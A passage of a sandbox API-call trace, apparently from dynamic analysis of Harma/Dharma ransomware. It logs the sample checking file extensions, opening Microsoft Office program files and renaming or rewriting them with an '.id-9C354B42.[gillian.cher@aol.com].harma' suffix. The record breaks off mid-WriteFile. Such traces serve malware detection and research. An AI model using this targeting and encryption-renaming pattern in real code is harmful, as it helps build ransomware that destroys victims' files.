lpFileSize=0x34fff1c*=1197432) returned 1 [0170.762] CloseHandle (hObject=0x34c) returned 1 [0170.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll")) returned 0x20 [0170.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.762] lstrlenW (lpString=".doc") returned 4 [0170.763] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString=".docx") returned 5 [0170.763] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0170.763] lstrlenW (lpString=".pdf") returned 4 [0170.763] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString=".xls") returned 4 [0170.763] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString=".xlsx") returned 5 [0170.763] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0170.763] lstrlenW (lpString=".ppt") returned 4 [0170.763] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.763] lstrlenW (lpString=".zip") returned 4 [0170.763] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString=".rar") returned 4 [0170.763] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.763] lstrlenW (lpString=".bz2") returned 4 [0170.763] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.763] lstrlenW (lpString=".7z") returned 3 [0170.763] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.764] lstrlenW (lpString=".dbf") returned 4 [0170.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.764] lstrlenW (lpString=".1cd") returned 4 [0170.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.764] lstrlenW (lpString=".jpg") returned 4 [0170.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.764] lstrlenW (lpString=".doc") returned 4 [0170.764] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.764] lstrlenW (lpString=".docx") returned 5 [0170.764] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0170.764] lstrlenW (lpString=".pdf") returned 4 [0170.764] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.764] lstrlenW (lpString=".xls") returned 4 [0170.764] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.764] lstrlenW (lpString=".xlsx") returned 5 [0170.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0170.765] lstrlenW (lpString=".ppt") returned 4 [0170.765] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.765] lstrlenW (lpString=".zip") returned 4 [0170.765] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.765] lstrlenW (lpString=".rar") returned 4 [0170.765] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.765] lstrlenW (lpString=".bz2") returned 4 [0170.765] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.765] lstrlenW (lpString=".7z") returned 3 [0170.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.765] lstrlenW (lpString=".dbf") returned 4 [0170.765] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.765] lstrlenW (lpString=".1cd") returned 4 [0170.765] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0170.765] lstrlenW (lpString=".jpg") returned 4 [0170.765] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.766] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.766] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0170.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.766] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1369952) returned 1 [0170.766] CloseHandle (hObject=0x34c) returned 1 [0170.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll")) returned 0x20 [0170.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.767] lstrlenW (lpString=".doc") returned 4 [0170.767] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.767] lstrlenW (lpString=".docx") returned 5 [0170.767] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0170.767] lstrlenW (lpString=".pdf") returned 4 [0170.767] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.767] lstrlenW (lpString=".xls") returned 4 [0170.767] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.767] lstrlenW (lpString=".xlsx") returned 5 [0170.767] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0170.768] lstrlenW (lpString=".ppt") returned 4 [0170.768] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString=".zip") returned 4 [0170.768] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.768] lstrlenW (lpString=".rar") returned 4 [0170.768] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.768] lstrlenW (lpString=".bz2") returned 4 [0170.768] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.768] lstrlenW (lpString=".7z") returned 3 [0170.768] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString=".dbf") returned 4 [0170.768] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString=".1cd") returned 4 [0170.768] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString=".jpg") returned 4 [0170.768] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.768] lstrlenW (lpString=".doc") returned 4 [0170.768] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.768] lstrlenW (lpString=".docx") returned 5 [0170.768] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0170.768] lstrlenW (lpString=".pdf") returned 4 [0170.768] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.769] lstrlenW (lpString=".xls") returned 4 [0170.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.769] lstrlenW (lpString=".xlsx") returned 5 [0170.769] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0170.769] lstrlenW (lpString=".ppt") returned 4 [0170.769] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.769] lstrlenW (lpString=".zip") returned 4 [0170.769] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.769] lstrlenW (lpString=".rar") returned 4 [0170.769] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.769] lstrlenW (lpString=".bz2") returned 4 [0170.769] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.769] lstrlenW (lpString=".7z") returned 3 [0170.769] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.769] lstrlenW (lpString=".dbf") returned 4 [0170.769] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.769] lstrlenW (lpString=".1cd") returned 4 [0170.769] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0170.769] lstrlenW (lpString=".jpg") returned 4 [0170.769] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.770] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.770] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0170.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0171.005] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=99272) returned 1 [0171.005] CloseHandle (hObject=0x344) returned 1 [0171.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll")) returned 0x20 [0171.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.006] lstrlenW (lpString=".doc") returned 4 [0171.006] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString=".docx") returned 5 [0171.006] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0171.006] lstrlenW (lpString=".pdf") returned 4 [0171.006] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString=".xls") returned 4 [0171.006] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString=".xlsx") returned 5 [0171.006] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0171.006] lstrlenW (lpString=".ppt") returned 4 [0171.006] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.006] lstrlenW (lpString=".zip") returned 4 [0171.006] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString=".rar") returned 4 [0171.006] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.006] lstrlenW (lpString=".bz2") returned 4 [0171.006] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.006] lstrlenW (lpString=".7z") returned 3 [0171.006] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.006] lstrlenW (lpString=".dbf") returned 4 [0171.006] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.006] lstrlenW (lpString=".1cd") returned 4 [0171.007] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.007] lstrlenW (lpString=".jpg") returned 4 [0171.007] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.007] lstrlenW (lpString=".doc") returned 4 [0171.007] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString=".docx") returned 5 [0171.007] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0171.007] lstrlenW (lpString=".pdf") returned 4 [0171.007] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString=".xls") returned 4 [0171.007] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString=".xlsx") returned 5 [0171.007] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0171.007] lstrlenW (lpString=".ppt") returned 4 [0171.007] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.007] lstrlenW (lpString=".zip") returned 4 [0171.007] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString=".rar") returned 4 [0171.007] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.007] lstrlenW (lpString=".bz2") returned 4 [0171.007] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.007] lstrlenW (lpString=".7z") returned 3 [0171.007] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.008] lstrlenW (lpString=".dbf") returned 4 [0171.008] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.008] lstrlenW (lpString=".1cd") returned 4 [0171.008] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0171.008] lstrlenW (lpString=".jpg") returned 4 [0171.008] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.008] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.008] lstrlenW (lpString="DWGDP.DLL") returned 9 [0171.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0171.010] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=9387368) returned 1 [0171.010] CloseHandle (hObject=0x344) returned 1 [0171.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll")) returned 0x20 [0171.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.011] lstrlenW (lpString=".doc") returned 4 [0171.011] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.011] lstrlenW (lpString=".docx") returned 5 [0171.011] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0171.011] lstrlenW (lpString=".pdf") returned 4 [0171.011] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.011] lstrlenW (lpString=".xls") returned 4 [0171.011] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.011] lstrlenW (lpString=".xlsx") returned 5 [0171.011] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0171.011] lstrlenW (lpString=".ppt") returned 4 [0171.011] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.011] lstrlenW (lpString=".zip") returned 4 [0171.012] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.012] lstrlenW (lpString=".rar") returned 4 [0171.012] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.012] lstrlenW (lpString=".bz2") returned 4 [0171.012] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.012] lstrlenW (lpString=".7z") returned 3 [0171.012] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.012] lstrlenW (lpString=".dbf") returned 4 [0171.012] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.012] lstrlenW (lpString=".1cd") returned 4 [0171.012] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.012] lstrlenW (lpString=".jpg") returned 4 [0171.012] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.012] lstrlenW (lpString=".doc") returned 4 [0171.012] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString=".docx") returned 5 [0171.013] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0171.013] lstrlenW (lpString=".pdf") returned 4 [0171.013] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString=".xls") returned 4 [0171.013] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString=".xlsx") returned 5 [0171.013] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0171.013] lstrlenW (lpString=".ppt") returned 4 [0171.013] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.013] lstrlenW (lpString=".zip") returned 4 [0171.013] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString=".rar") returned 4 [0171.013] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.013] lstrlenW (lpString=".bz2") returned 4 [0171.013] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.013] lstrlenW (lpString=".7z") returned 3 [0171.013] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.013] lstrlenW (lpString=".dbf") returned 4 [0171.013] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.013] lstrlenW (lpString=".1cd") returned 4 [0171.013] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0171.013] lstrlenW (lpString=".jpg") returned 4 [0171.013] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.014] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0171.014] lstrlenW (lpString="EDITOR.EXE") returned 10 [0171.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0171.026] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=199016) returned 1 [0171.027] CloseHandle (hObject=0x344) returned 1 [0171.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe")) returned 0x20 [0171.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0171.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0171.027] lstrlenW (lpString=".doc") returned 4 [0171.027] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0171.027] lstrlenW (lpString=".docx") returned 5 [0171.027] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0171.027] lstrlenW (lpString=".pdf") returned 4 [0171.027] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0171.027] lstrlenW (lpString=".xls") returned 4 [0171.027] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0171.027] lstrlenW (lpString=".xlsx") returned 5 [0171.028] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0171.028] lstrlenW (lpString=".ppt") returned 4 [0171.028] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0171.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0171.028] lstrlenW (lpString=".zip") returned 4 [0171.028] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0171.028] lstrlenW (lpString=".rar") returned 4 [0171.028] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0171.028] lstrlenW (lpString=".bz2") returned 4 [0171.028] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0171.028] lstrlenW (lpString=".7z") returned 3 [0171.028] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0171.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0171.028] lstrlenW (lpString=".dbf") returned 4 [0171.028] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0171.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0171.035] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.035] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.036] GetLastError () returned 0x0 [0171.036] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x4c22c, lpOverlapped=0x0) returned 1 [0171.116] WriteFile (in: hFile=0x370, 